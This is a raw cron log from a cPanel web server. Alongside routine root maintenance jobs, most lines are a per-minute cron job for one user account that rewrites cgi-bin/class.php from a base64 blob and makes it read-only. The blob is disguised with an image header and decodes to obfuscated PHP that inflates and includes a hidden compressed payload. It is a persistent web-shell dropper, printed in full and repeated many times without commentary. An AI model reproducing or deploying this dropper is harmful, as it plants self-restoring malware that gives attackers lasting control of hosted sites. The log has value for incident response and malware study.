Nov 10 16:58:01 server CROND[6178]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:59:01 server CROND[6966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:00:01 server CROND[7833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:00:01 server CROND[7834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 17:00:01 server CROND[7832]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:00:01 server CROND[7835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:01:01 server CROND[8866]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 17:01:01 server CROND[8867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:01:01 server run-parts(/etc/cron.hourly)[8866]: starting 0anacron
Nov 10 17:01:01 server run-parts(/etc/cron.hourly)[8880]: finished 0anacron
Nov 10 17:02:01 server CROND[9781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:03:01 server CROND[10615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:04:01 server CROND[11486]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:05:01 server CROND[12345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:05:01 server CROND[12347]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:05:01 server CROND[12350]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 17:05:01 server CROND[12353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:05:01 server CROND[12348]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 10 17:06:01 server CROND[13286]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:07:01 server CROND[14112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:08:02 server CROND[14941]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:09:01 server CROND[15755]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 17:09:01 server CROND[15756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:10:01 server CROND[16597]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 17:10:01 server CROND[16598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:10:01 server CROND[16599]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:10:01 server CROND[16600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
